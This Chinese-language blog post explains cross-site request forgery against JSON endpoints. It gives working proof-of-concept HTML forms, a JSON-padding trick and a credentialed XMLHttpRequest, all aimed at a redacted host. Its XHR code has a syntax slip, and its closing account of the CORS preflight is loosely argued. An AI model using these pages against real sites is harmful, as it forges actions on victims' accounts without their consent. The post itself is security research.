關於JSON CSRF的一些思考
CSRF作為常見漏洞,一直受到關註和研究,JSON是一種應用廣泛的輕量級數據交換格式,當CSRF去POST一段JSON,情況可能會變得有些不一樣;此次就一種特殊情況下的CSRF進行分析,權當拋磚引玉。
某次遇到一個沒有驗證token與referer的CSRF。
其原始數據包為:
POST /webnet/edit HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=utf-8 Content-Length: 85 Cookie: testcookie=yes; ASP.NET_SessionId=5udmqb45qoypdc55mfp1w4vy {"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}
很明顯,這是個編輯某種信息的操作,POST的是一段JSON,且沒有對token和referer的驗證
用form來提交,poc如下,把name置為一段JSON,其value置為空:
<html> <body> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input type="hidden" name="{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>
不過這樣POST的數據包會多一個“=”,因為我們雖然把value置為空,然後還是會出現“name=”。
這種情況下服務端的JSON解析器可能會拒絕這段JSON,因為它不符合JSON的數據格式。參照外國基佬的做法,我們可以給value賦值從而對這個“=”後面的數據進行補全,使得其構成一個完整的JSON格式,可避免解析器報錯(JSON Padding)。
POC如下:
<html> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input name=‘{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"‘ value=‘test"}‘type=‘hidden‘> <input type=submit> </form> </html>
得到的POST包,這樣就構造出符合標準的JSON數據格式,從而避免報錯:
需要註意的是,在原始的數據包裏Content-Type的值是application/json,而以form去提交是沒法設置enctype為application/json的,在這裏設置為text/plain,那麽如何設置Content-Type的值呢?
所以我們需要利用XHR進行提交,關於XHR的背景知識不再贅述:https://en.wikipedia.org/wiki/XMLHttpRequest。POC如下(其中將content-type設置為application/json):
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
在CORS標準中,定義了新的HTTP消息頭Access-Control-Allow-Origin,使得服務端可以定義允許通過瀏覽器請求的域集合。另外,標準定義了當跨域影響用戶數據HTTP請求(如用XMLHttpRequest發送post)時,瀏覽器會發送預檢請求(OPTIONS請求)給服務端征求支持的請求方法,然後根據服務端響應允許才發送真正的請求。
在某些情況中,如果服務端對Content-Type進行校驗,則不會響應這個OPTIONS請求,從而利用失敗,但是更多的情況下服務端可能不會校驗Content-Type,或者不會嚴格校驗Content-Type是否為application/json,所以很多情況下這是可用的。
關於JSON CSRF的一些思考